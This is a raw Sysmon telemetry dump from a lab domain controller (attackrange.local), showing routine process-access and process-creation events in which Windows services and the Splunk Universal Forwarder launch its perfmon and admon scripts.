09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002213Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002212Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6400-000000007F01}3944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002211Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.559{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6400-000000007F01}3944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002210Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.561{A5F018FF-28D4-5F80-6400-000000007F01}3944C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002209Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6300-000000007F01}4004C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002208Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002207Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002206Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002205Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002204Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002203Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002202Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002201Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002200Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002199Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6300-000000007F01}4004C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002198Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.449{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6300-000000007F01}4004C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002197Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.451{A5F018FF-28D4-5F80-6300-000000007F01}4004C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-6200-000000007F01}3968C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.340{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 